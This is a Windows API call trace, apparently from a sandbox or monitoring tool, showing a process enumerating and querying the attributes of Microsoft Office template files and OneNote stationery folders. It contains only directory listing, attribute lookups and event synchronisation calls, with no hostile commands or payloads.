	[0053.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849ef8 | out: lpFileInformation=0x12849ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cbba)) returned 1
	[0053.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849f48 | out: lpFileInformation=0x12849f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1955a)) returned 1
	[0053.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849f98 | out: lpFileInformation=0x12849f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd77)) returned 1
	[0053.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866008 | out: lpFileInformation=0x12866008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x48355)) returned 1
	[0053.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866058 | out: lpFileInformation=0x12866058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x290e7)) returned 1
	[0053.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), fInfoLevelId=0x0, lpFileInformation=0x128660a8 | out: lpFileInformation=0x128660a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.507] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.507] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0053.507] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.507] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), fInfoLevelId=0x0, lpFileInformation=0x12866148 | out: lpFileInformation=0x12866148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1
	[0053.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0053.508] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.508] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), fInfoLevelId=0x0, lpFileInformation=0x12866238 | out: lpFileInformation=0x12866238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.509] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.509] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1
	[0053.509] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.509] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\Notebook03.onepkg" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\notebook03.onepkg"), fInfoLevelId=0x0, lpFileInformation=0x128662d8 | out: lpFileInformation=0x128662d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe)) returned 1
	[0053.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x12866328 | out: lpFileInformation=0x12866328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1
	[0053.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x2b428, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLANK.ONE", cAlternateFileName="")) returned 1
	[0053.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7824d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x4e630, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUSINESS.ONE", cAlternateFileName="")) returned 1
	[0053.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58d0d00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa58d0d00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3182e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER.ONE", cAlternateFileName="")) returned 1
	[0053.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45be000, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa45be000, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x37b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLANNERS.ONE", cAlternateFileName="")) returned 1
	[0053.510] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.510] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\academic.one"), fInfoLevelId=0x0, lpFileInformation=0x12866508 | out: lpFileInformation=0x12866508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00)) returned 1
	[0053.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\blank.one"), fInfoLevelId=0x0, lpFileInformation=0x12866558 | out: lpFileInformation=0x12866558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x2b428)) returned 1
	[0053.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\business.one"), fInfoLevelId=0x0, lpFileInformation=0x128665a8 | out: lpFileInformation=0x128665a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7824d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x4e630)) returned 1
	[0053.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one"), fInfoLevelId=0x0, lpFileInformation=0x128665f8 | out: lpFileInformation=0x128665f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58d0d00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa58d0d00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3182e8)) returned 1
	[0053.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\planners.one"), fInfoLevelId=0x0, lpFileInformation=0x12866648 | out: lpFileInformation=0x12866648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45be000, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa45be000, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x37b50)) returned 1
	[0053.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866698 | out: lpFileInformation=0x12866698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xab82)) returned 1
	[0053.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128666e8 | out: lpFileInformation=0x128666e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52)) returned 1
	[0053.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866738 | out: lpFileInformation=0x12866738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b29e)) returned 1
	[0053.511] SetEvent (hEvent=0x8c) returned 1
	[0053.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866788 | out: lpFileInformation=0x12866788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2b308)) returned 1
	[0053.512] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0053.512] SetEvent (hEvent=0x8c) returned 1
	[0053.512] SetEvent (hEvent=0x78) returned 1
	[0053.512] SetEvent (hEvent=0xb4) returned 1
	[0053.512] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0053.513] SetEvent (hEvent=0xb4) returned 1
